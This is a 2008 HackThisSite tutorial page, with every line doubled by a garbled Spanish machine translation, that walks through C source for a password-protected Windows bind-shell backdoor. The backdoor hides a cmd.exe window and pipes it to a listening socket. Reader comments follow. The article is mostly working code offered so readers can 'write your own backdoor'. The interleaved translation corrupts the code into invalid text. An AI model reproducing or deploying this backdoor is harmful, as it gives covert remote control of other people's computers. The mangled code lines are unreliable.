Hack este sitio!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Anúnciate con HackThisSite.org:: Ocultar estos anuncios]

"Social engineering bypasses all technologies, including firewalls." "Ingeniería social omite todas las tecnologías, incluyendo firewalls". -Kevin Mitnick -Kevin Mitnick

HTS costs up to $300 a month to operate. HTS gastos de hasta $ 300 al mes para funcionar. We need your help! Necesitamos tu ayuda!

Donors also receive special recognition on our donors page. Los donantes también recibirán un reconocimiento especial a nuestros donantes página.

FR DE ES IT PT FR DE ES IT PT

Link to us! Enlace con nosotros!

phoenix free shells Phoenix libre de los depósitos
hackergames.net hackergames.net
PullThePlug PullThePlug

How To Write A Basic Backdoor In C Cómo escribir un Backdoor básicos en C
Published by: white_scorpion , on 2008-02-09 02:09:33 Publicado por: white_scorpion, sobre 2008-02-09 02:09:33
How To Write A Basic Backdoor In C Cómo escribir un Backdoor básicos en C Download program and sourcecode used in this tutorial here . Descargar programa y código fuente utilizado en este tutorial aquí. What will we need: ¿Qué necesitamos: - 2 sockets, one to listen to a specific port, and the other to establish the connection. - 2 tomas, una para escuchar a un puerto específico, y el otro para establecer la conexión. - at least one buffer to read and write data, but we will use 2 in this tutorial. - Por lo menos un buffer para leer y escribir datos, pero vamos a utilizar 2 en este tutorial. - 4 handles to redirect the input / output for cmd.exe - 4 asas para redirigir la entrada / salida para cmd.exe These are the most important things, although we'll need some other variables / structures as well to make the program work. Estas son las cosas más importantes, aunque tendremos algunas otras variables y estructuras así como para hacer que el programa de trabajo. The program: El programa: I will start with the main function, and i will describe the other functions after it. Empezaré con la principal función, y voy a describir las funciones de otros después de él. Main function: Función principal: first we will check to see how much parameters the program has given since we want the program to be able to be used with a self-chosen port as well as a self-chosen password: primero vamos a comprobar a ver cuánto parámetros que el programa ha dado ya que queremos que el programa pueda ser utilizado con un auto-elegido puerto, así como una libre elección de la contraseña: CODE : CÓDIGO: `if(argc!=3) //check if we are having enough parameters` `if (argc! = 3) / / comprobar si queremos tener suficiente parámetros` `{` `(` `Usage(argv[0]); //if not, then display usage and exit program.` `Uso (argv [0]); / / si no es así, entonces el uso de la pantalla y salir del programa.` `return EXIT_FAILURE;` `EXIT_FAILURE regreso;` `}` `)` Next we will check if the portnumber given is really a number and if it is a portnumber usable for tcp/ip: Nuestro próximo paso será comprobar si el puerto que se da es realmente un número y si se trata de un puerto utilizable para TCP / IP: CODE : CÓDIGO: `//check if the portnumber given is really a number` `/ / comprobar si el puerto que se da es realmente un número` `for(i=0;i<strlen(argv[1]);i++)` `for (i = 0; i <strlen (argv [1]); i + +)` `{` `(` `if(isdigit(argv[1][i])==0)` `if (isdigit (argv [1] [i]) == 0)` `{` `(` `printf("Invalid port number.");` `printf ( "número de puerto no válido.");` `return EXIT_FAILURE;` `EXIT_FAILURE regreso;` `}` `)` `}` `)` `port=atoi(argv[1]); //make integer from ascii string` `port = atoi (argv [1]); / / que entero de la cadena ascii` `//final check to see if it is a real port number` `/ / control final para ver si es un número de puerto real` `if(port>65535\|\|port<1)` `if (puerto> 65535 \| \| puerto <1)` `{` `(` `printf("Invalid port number.");` `printf ( "número de puerto no válido.");` `return EXIT_FAILURE;` `EXIT_FAILURE regreso;` `}` `)` Make everything ready and start listening to the port given: Hacer todo listo y empezar a escuchar al puerto se indica: CODE : CÓDIGO: `//tell windows we want to use sockets` `/ / decirle a Windows que queremos utilizar las tomas` `WSAStartup(0x101,&wsadata); //we will use version 1.1 here` `WSAStartup (0x101, wsadata +) / / vamos a utilizar la versión 1.1 aquí` `//create socket` `/ / crear zócalo` `locsock=socket(AF_INET,SOCK_STREAM,0);` `locsock = socket (AF_INET, SOCK_STREAM, 0);` `//fill structure` `/ / llenar la estructura` `sinloc.sin_family=AF_INET;` `sinloc.sin_family = AF_INET;` `sinloc.sin_addr.s_addr=INADDR_ANY;` `sinloc.sin_addr.s_addr = INADDR_ANY;` `sinloc.sin_port=htons(port);` `sinloc.sin_port = htons (puerto);` `//bind the socket to the specified port` `/ / bind el zócalo hasta el puerto` `if(bind(locsock,(SOCKADDR)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)` `if (obligar (locsock, (sockaddr ) y sinloc, sizeof (SOCKADDR_IN)) == SOCKET_ERROR)` `{` `(` `WSACleanup();` `WSACleanup ();` `printf("Error binding socket.");` `printf ( "Socket Error vinculante.");` `return EXIT_FAILURE;` `EXIT_FAILURE regreso;` `}` `)` `//listen on the specified socket` `/ / escuchar en el zócalo especificado` `if(listen(locsock,5)==SOCKET_ERROR)` `if (escuchar (locsock, 5) == SOCKET_ERROR)` `{` `(` `WSACleanup();` `WSACleanup ();` `printf("Error listening socket.");` `printf ( "Error de socket de escucha.");` `return EXIT_FAILURE;` `EXIT_FAILURE regreso;` `}` `)` Here we will have the infinite loop to accept connections and check the password. Aquí tendremos el bucle infinito, para aceptar conexiones y el control de la contraseña. If password given is correct then we will start the CommandPrompt() function, if not, then we will close connection and start listening again. Si la contraseña es correcta dado que entonces se iniciará la CommandPrompt () función, si no, entonces se cerrará la conexión y empezar a escuchar de nuevo. CODE : CÓDIGO: `//infinite loop here to keep the program listening` `/ / bucle infinito aquí para mantener el programa de escucha` `while(1)` `while (1)` `{` `(` `remsock=SOCKET_ERROR;` `remsock = SOCKET_ERROR;` `while(remsock==SOCKET_ERROR)` `while (remsock == SOCKET_ERROR)` `{` `(` `//accept connection to our program` `/ / aceptar la conexión con nuestro programa` `remsock=accept(locsock,NULL,NULL);` `remsock = aceptar (locsock, NULL, NULL);` `if(remsock==INVALID_SOCKET)` `if (remsock == INVALID_SOCKET)` `{` `(` `//cleanup and exit program` `/ / limpieza y salir del programa` `WSACleanup();` `WSACleanup ();` `printf("Error accepting socket.");` `printf ( "Error de socket de aceptar.");` `return EXIT_FAILURE;` `EXIT_FAILURE regreso;` `}` `)` `}` `)` `//ask for password` `/ / pedir contraseña` `send(remsock,welcome,sizeof(welcome),0);` `enviar (remsock, bienvenido, sizeof (bienvenida), 0);` `recv(remsock,bufferin,sizeof(bufferin),0);` `recv (remsock, bufferin, sizeof (bufferin), 0);` `//check password given` `/ / contraseña de verificación dado` `bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character` `bufferin [strlen (bufferin) -1] = 0; / / necesitamos que esto fuera la última tira de carácter` `if(strcmp(bufferin,argv[2])!=0)` `if (strcmp (bufferin, argv [2])! = 0)` `{` `(` `send(remsock,"nAccess Denied.n",17,0);` `enviar (remsock, "nAccess Denied.n", 17,0);` `}` `)` `else` `algo más` `{` `(` `CommandPrompt(); //start the commandprompt function` `CommandPrompt (); / / iniciar la función commandprompt` `}` `)` `closesocket(remsock); //close the socket` `closesocket (remsock); / / cerrar el zócalo` `}` `)` Usage function: Uso de la función: This function displays the usage of the program and then exits the program: Esta función muestra el uso del programa y, a continuación, sale del programa: CODE : CÓDIGO: `void Usage(char AppName[]) //the function which does nothing more then print out the usage` `vacío de uso (char AppName []) / / la función que no hace nada más que imprimir el uso` `{` `(` `printf("backdoor, written by White Scorpion Security (C) 2005n");` `printf ( "puerta trasera, por escrito Seguridad Escorpión Blanco (C) 2005n");` `printf(" ** http://www.white-scorpion.nl nn");` `printf ( "http://www.white-scorpion.nl ** nn");` `printf("Usage: %s < port > < password >n",AppName);` `printf ( "Uso:% s <puerto> <contraseña> n", AppName);` `}` `)` CommandPrompt function: CommandPrompt función: This function actually does most of the work, it starts the command prompt, redirect its output and send and receive the data to the socket / command prompt. Esta función realmente hace la mayor parte de la obra, que comienza el símbolo del sistema, reorientar su producción y enviar y recibir los datos a la toma de mando símbolo del sistema. first we define the variables used in this function, the 2 exits are used to intercept the command 'exit', since otherwise our program would hang if we don't. primero definir las variables utilizadas en esta función, las 2 salidas se utilizan para interceptar el comando 'Exit', ya que de otra manera nuestro programa se cuelgue si no lo hacemos. CODE : CÓDIGO: `secat.nLength=sizeof(SECURITY_ATTRIBUTES);` `secat.nLength = sizeof (SECURITY_ATTRIBUTES);` `secat.bInheritHandle=TRUE;` `secat.bInheritHandle = TRUE;` `DWORD bytesW; //number of bytes written gets stored here` `DWORD bytesW; / / número de bytes escritos se almacenan aquí` `HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes` `MANIPULAR newstdin, newstdout, lectura, writein; / / las asas para nuestros Tuberías` `char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'` `Car exit1 []={' e ',' x ',' i ',' t ', 10,0); / / es necesario comparar este comando para nuestra salida "` `char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'` `Car exit2 []={' E ',' X ',' I ',' T ', 10,0); / / es necesario comparar este comando para nuestro' Exit '` Then we create the pipes used to redirect cmd.exe 's input and output, get the startup info and fill its structure: A continuación, vamos a crear los tubos usados para desviar el cmd.exe 's de entrada y salida, obtener la información de arranque y llenar su estructura: CODE : CÓDIGO: `//create the pipes for our command prompt` `/ / crear las tuberías para nuestros comandos` `CreatePipe(&newstdin,&writein,&secat,0);` `CreatePipe (& newstdin, y writein, y secat, 0);` `CreatePipe(&readout,&newstdout,&secat,0);` `CreatePipe (y de lectura, y newstdout, y secat, 0);` `GetStartupInfo(&startinfo);` `GetStartupInfo (& startinfo);` `//fill another structure` `/ / llenar otra estructura` `startinfo.dwFlags=STARTF_USESTDHANDLES \| STARTF_USESHOWWINDOW;` `startinfo.dwFlags = STARTF_USESTDHANDLES \| STARTF_USESHOWWINDOW;` `startinfo.wShowWindow=SW_HIDE;` `startinfo.wShowWindow = SW_HIDE;` `startinfo.hStdOutput=newstdout;` `startinfo.hStdOutput = newstdout;` `startinfo.hStdError=newstdout;` `startinfo.hStdError = newstdout;` `startinfo.hStdInput=newstdin;` `startinfo.hStdInput = newstdin;` Now we will start the process cmd.exe: Ahora vamos a iniciar el proceso cmd.exe: CODE : CÓDIGO: `//start cmd prompt` `/ / cmd inicio rápido` `CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,` `CreateProcess (NULL, "cmd.exe", NULL, NULL, TRUE,` `CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);` `CREATE_NEW_CONSOLE, NULL, NULL, y startinfo, y procinfo);` `//No error checks here, but you should do it to prevent unwanted behaviour.` `/ / No controles error aquí, pero usted debe hacer para evitar comportamientos no deseados.` Finally we have the endless loop which receives the output from cmd.exe and sends it to the socket, the data received from the socket is written to cmd.exe to execute the command given. Por último tenemos el bucle sin fin que recibe la salida de cmd.exe y lo envía a la toma, los datos recibidos de la toma se escribe en cmd.exe para ejecutar el comando dado. CODE : CÓDIGO: `while(1)` `while (1)` `{` `(` `//check if cmd.exe is still running, if not then cleanup and start listening again.` `/ / cmd.exe comprobar si todavía se está ejecutando, si no entonces la limpieza y empezar a escuchar de nuevo.` `if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)` `if (GetExitCodeProcess (procinfo.hProcess, y ExitCode) == STILL_ACTIVE)` `{` `(` `CloseHandle(procinfo.hThread);` `CloseHandle (procinfo.hThread);` `CloseHandle(procinfo.hProcess);` `CloseHandle (procinfo.hProcess);` `CloseHandle(newstdin);` `CloseHandle (newstdin);` `CloseHandle(writein);` `CloseHandle (writein);` `CloseHandle(readout);` `CloseHandle (lectura);` `CloseHandle(newstdout);` `CloseHandle (newstdout);` `break;` `break;` `}` `)` `bytesRead=0;` `BytesRead = 0;` `//sleep 0.5 seconds to give cmd.exe the chance to startup` `/ / dormir 0,5 segundos para dar cmd.exe la oportunidad de inicio` `sleep(500);` `dormir (500);` `//check if the pipe already contains something we can write to output` `/ / comprobar si el tubo ya contiene algo de lo que podemos escribir en la salida` `PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);` `PeekNamedPipe (lectura, bufferout, sizeof (bufferout), y BytesRead, y recurrir, NULL);` `if(bytesRead!=0)` `if (BytesRead! = 0)` `{` `(` `while(bytesRead!=0)` `while (BytesRead! = 0)` `{ //read data from cmd.exe and send to client, then clear the buffer` `(/ / Leer datos de cmd.exe y envíe el mensaje al cliente y, a continuación, borrar el búfer` `ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);` `ReadFile (lectura, bufferout, sizeof (bufferout), y BytesRead, NULL);` `send(remsock,bufferout,strlen(bufferout),0);` `enviar (remsock, bufferout, strlen (bufferout), 0);` `ZeroMemory(bufferout,sizeof(bufferout));` `ZeroMemory (bufferout, sizeof (bufferout));` `sleep(100);` `dormir (100);` `PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);` `PeekNamedPipe (lectura, bufferout, sizeof (bufferout), y BytesRead, y recurrir, NULL);` `}` `)` `}` `)` `//clear bufferin` `/ / claro bufferin` `ZeroMemory(bufferin,sizeof(bufferin));` `ZeroMemory (bufferin, sizeof (bufferin));` `//receive the command given` `/ / recibir el comando dado` `recv(remsock,bufferin,sizeof(bufferin),0);` `recv (remsock, bufferin, sizeof (bufferin), 0);` `//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program` `/ / si es comando 'Exit' o 'Exit' y luego tenemos que capturar para evitar que nuestro programa` `//from hanging.` `/ / del ahorcamiento.` `if((strcmp(bufferin,exit1)==0)\|\|(strcmp(bufferin,exit2)==0))` `if ((strcmp (bufferin, exit1) == 0) \| \| (strcmp (bufferin, exit2) == 0))` `{` `(` `//let cmd.exe close by giving the command, then go to closeup label` `/ / cmd.exe deje cerca de dar el comando y, a continuación, ir a la etiqueta de cerca` `WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);` `WriteFile (writein, bufferin, strlen (bufferin), y bytesW, NULL);` `goto closeup;` `Ir a closeup;` `}` `)` `//else write the command to cmd.exe` `/ / else escribir el comando para cmd.exe` `WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);` `WriteFile (writein, bufferin, strlen (bufferin), y bytesW, NULL);` `//clear the bufferin` `/ / borrar la bufferin` `for(i=0;i<sizeof(bufferin);i++)` `for (i = 0; i <sizeof (bufferin); i + +)` `{` `(` `bufferin[i]=0;` `bufferin [i] = 0;` `}` `)` `}` `)` And we cleanup everything and return to main, which will then start listening again. Y la limpieza de todo y regresar a la principal, que luego empezar a escuchar de nuevo. CODE : CÓDIGO: `//close up all handles` `/ / cerrar todas las manijas` `closeup:` `closeup:` `CloseHandle(procinfo.hThread);` `CloseHandle (procinfo.hThread);` `CloseHandle(procinfo.hProcess);` `CloseHandle (procinfo.hProcess);` `CloseHandle(newstdin);` `CloseHandle (newstdin);` `CloseHandle(writein);` `CloseHandle (writein);` `CloseHandle(readout);` `CloseHandle (lectura);` `CloseHandle(newstdout);` `CloseHandle (newstdout);` This is all, 3 functions, and some code and you can write your own backdoor. Esto es, 3 funciones, y algo de código y puede escribir su propia puerta trasera. the complete sourcecode and final program from this tutorial can be downloaded from here . el código fuente completo y final del programa de este tutorial puede ser descargado desde aquí.
Cast your vote on this article Emitir su voto sobre este artículo Note: the order of the votes has been reversed. Nota: el orden de los votos se ha invertido.

Comments: Comentarios:
Published: 20 comments. Publicado: 20 comentarios.

KSEboom - 07:47 am Saturday February 09th, 2008 KSEboom - 07:47 horas Sábado 09 de febrero, 2008

Hmmmm, alot of detail has gone into this. Hmmmm, un lote de detalle ha ido en esto.
Nice work (Y) Buen trabajo (Y)

Stevenmn - 02:07 pm Saturday February 09th, 2008 Stevenmn - 02:07 pm el sábado 09 de febrero, 2008

Very usefull Muy útil

bonzdead - 12:03 pm Wednesday February 13th, 2008 bonzdead - 12:03 pm Miércoles 13 de febrero, 2008

Very nice! Very nice! Put together very well. Juntos muy bien. And does excellent job explaining the code and why it is needed. ¿Y excelente trabajo explicando el código y la razón por la que se necesita. The examples were also very helpful. Los ejemplos también son muy útiles.

philop_kidrock - 12:35 am Thursday February 14th, 2008 philop_kidrock - 12:35 am Jueves 14 de febrero, 2008

how about metasploit can you provide me a tips about the commands used in it.. Metasploit acerca de cómo se puede proporcionar una me consejos sobre los comandos utilizados en ella .. or do you had any idea about that software.... o usted tiene alguna idea acerca de que el software .... anybody who had the any idea please inform me.. alguien que tuvo la idea de informar por favor me .. this is my e-mail add kid_learns_2_rock@yahoo.com este es mi e-mail añadir kid_learns_2_rock@yahoo.com

tulcod - 10:55 am Friday February 15th, 2008 tulcod - 10:55 am Viernes 15 de febrero, 2008

not really what it\'s title suggests, this article just explains how to interface with cmd.exe no lo que realmente \ 's título sugiere, en este artículo se explica cómo sólo a la interfaz con cmd.exe
it\'s importable and not really innovative, it\'s been explained before and badly commented. que \ 's importarse y no realmente innovadores, que \' s se explicó antes y mal comentado.

white_scorpion - 01:42 am Thursday February 21st, 2008 white_scorpion - 01:42 am Jueves 21 de febrero, 2008

Why should it be innovative? ¿Por qué ha de ser innovadora? Back then when I was writing a backdoor this was the most difficult part to figure out, how to use the pipes. En ese entonces cuando yo estaba escribiendo una puerta trasera esta fue la parte más difícil de averiguar, cómo usar las tuberías.
Besides that, I\'ve never seen any backdoor code which is portable, meaning it\'s usable for several OS\'s like Windows and Linux, since the system calls on those OS\'s are different. Además de eso, \ "nunca he visto ningún código de puerta trasera que es portátil, lo que significa que \ 's que puedan utilizarse para varios OS \' s, como Windows y Linux, ya que el sistema pide a los OS \ 's son diferentes. If you feel different then please write a text yourself about portable backdoors ;) Si usted se siente diferente, por favor escriba un texto acerca portátiles puertas traseras;)

hackuk_33 - 05:16 am Thursday February 21st, 2008 hackuk_33 - 05:16 am Jueves 21 de febrero, 2008

good work !!! buen trabajo! 10/10

The_Computer_Wizard - 05:49 pm Thursday February 21st, 2008 The_Computer_Wizard - 05:49 pm Jueves 21 de febrero, 2008

ok, im a little new to this kind of stuff, been breaking security on local machines for a while (i fix computers at work, and people dont always remember their passwords) but im just starting on stuff over a network ok, im un poco nuevo para este tipo de cosas, ha sido romper la seguridad en máquinas locales por un tiempo (i arreglar los ordenadores en el trabajo, y la gente No siempre recordar sus contraseñas), pero sólo im a partir de cosas a través de una red

i assume i need to use putty or telnet with this or something, but im confused, whenever i run this program on my computer no process starts for it or anything, i looked over the code (i have experience with c++ not so much c though, so i mostly understood it) and everything seems fine, but it doesnt seem to be implementing an infinate loop on my machine and idk why? i i asumir la necesidad de usar masilla o telnet con el presente o algo, pero im confundirse, cada vez que ejecuta este programa en mi ordenador no se inicia el proceso para que ni nada, miré en el código (Tengo experiencia con c + + no tanto, aunque c , Por lo que la mayoría entiende) y todo parece bien, pero doesnt parece ser la ejecución de un bucle infinate en mi máquina y IDK ¿por qué?
not to mention can someone post how i would connect? por no hablar de que alguien después de cómo me gustaría conectar? im assuming my ip into putty over a tcp/ip connection im asumir mi ip masilla en más de una conexión TCP / IP

lastly where do i modify the code for a password? por último ¿Dónde puedo modificar el código para una contraseña?

codz30 - 04:33 am Thursday March 06th, 2008 codz30 - 04:33 am Jueves 06 de marzo, 2008

this code is alot bigger than it needs to be. este código es mucho más grande de lo que debe ser. Also, this is not a backdoor, its a remote shell. Además, esto no es una puerta trasera, su un shell remoto. You only need 1 port to listen, then you bind to that port and send() recv() from there. Usted sólo necesita 1 puerto para escuchar, entonces se unen a ese puerto y enviar () recv () a partir de ahí.
You don\'t need 4 handles to get the command prompt. ¿No \ 'No necesito 4 asas para obtener el símbolo del sistema. Also there are ways to not use a buffer. También hay maneras de no utilizar un tampón.

emoserv - 10:11 pm Friday March 28th, 2008 emoserv - 10:11 pm Viernes 28 de marzo, 2008

A remote shell is a back door. Una shell remota es una puerta de atrás. It triggers system commands from the outside. Se desencadena comandos del sistema desde el exterior.

Stoney - 05:35 pm Wednesday April 30th, 2008 Stoney - 05:35 pm Miércoles 30 de abril, 2008

The_Computer_Wizard; first off...learn C and you'll know about the password, and learn at least a BIT on exploits and shells. The_Computer_Wizard; ... En primer lugar aprender C y sabrás acerca de la contraseña, y aprender por lo menos un TBI y explota en los depósitos.

The article is great! El artículo es genial! It doesn't need all of the detail but it's never too much. No necesita de todos los detalles, pero nunca es demasiado. 10/10

VARUNmca123 - 04:56 am Monday May 12th, 2008 VARUNmca123 - 04:56 horas Lunes 12 de mayo, 2008

rigt now i dont know much about yhis type of programming, but i can understand its importance rigt ahora Yo no sé mucho acerca de yhis tipo de programación, pero puedo comprender su importancia

GreyMageIvan - 11:03 pm Thursday June 19th, 2008 GreyMageIvan - 11:03 pm Jueves 19 de junio, 2008

Finally, someone explains how to link up a program to a socket or two. Por último, alguien se explica cómo enlazar un programa para una o dos tomas. I give 8/10, Great content, but I needed to see the source file in the zip to get my code working, specifically with var datatypes. Tiene 8 / 10, Gran contenido, pero yo necesitaba para ver el archivo de fuente en el código postal para obtener mi código de trabajo, específicamente con var de datos.

q8tawe - 10:18 am Monday July 21st, 2008 q8tawe - 10:18 am Lunes 21 de julio, 2008

thanks for the nice article.^^ gracias por el bonito artículo. ^ ^

vigo_in_disguise - 02:58 pm Monday July 21st, 2008 vigo_in_disguise - 02:58 pm de lunes 21 de julio, 2008

nice work man... Buen trabajo el hombre ... would like to know about better codes... quisiera saber más acerca de los códigos ...

vigo_in_disguise - 03:02 pm Monday July 21st, 2008 vigo_in_disguise - 03:02 pm de lunes 21 de julio, 2008

nice work man... Buen trabajo el hombre ... would like to know about better codes... quisiera saber más acerca de los códigos ...

Nach - 07:12 am Thursday July 24th, 2008 Nach - 07:12 am Jueves 24 de julio, 2008

thnx for the tutorial man thnx tutorial para el hombre

mousse2012 - 04:32 pm Saturday August 30th, 2008 mousse2012 - 04:32 pm el sábado 30 de agosto, 2008

Good Job. Buen trabajo.

totalnoob314 - 07:22 pm Tuesday September 09th, 2008 totalnoob314 - 07:22 pm Martes 09 de septiembre, 2008

does it really need to have all that stuff just to interface with the command prompt? ¿Realmente necesita tener todas las cosas que sólo a la interfaz con el símbolo? can you use some windows-equivalent to the dup2() function or somethin so that it can take input directly from the socket? puede utilizar algunas ventanas-equivalente a la dup2 () función o algo para que pueda tener la entrada directamente desde el enchufe? if someone could tell me, that would be cool thanx si alguien me podría decir, que sería cool Thanx

Brent-tc - 01:24 am Sunday September 28th, 2008 Brent-TC - 01:24 horas del domingo 28 de septiembre, 2008

ROFL.
You have really done a very good job of over-complicating this. Usted ha hecho realmente un muy buen trabajo de un exceso de esta complicación.

This site is the collective work of the HackThisSite staff. Este sitio es el trabajo colectivo de la HackThisSite personal. Please don't reproduce in part or whole without permission. Por favor, no reproducir en parte o su totalidad sin permiso.
Page Generated: Mon, 01 Dec 2008 23:37:28 -0500 Exec: 11 Página de creación: Lunes, 01 diciembre 2008 23:37:28 -0500 Ejec: 11
_{Page loaded in 0.17645 seconds!} _{Page cargado en 0,17645 segundos!}

Donate Donar

Challenges Retos

Get Informed Infórmese

Get Involved ¡Participa!

Communicate Comunicar

About HTS Acerca de HTS

Translate Traducir

Partners Socios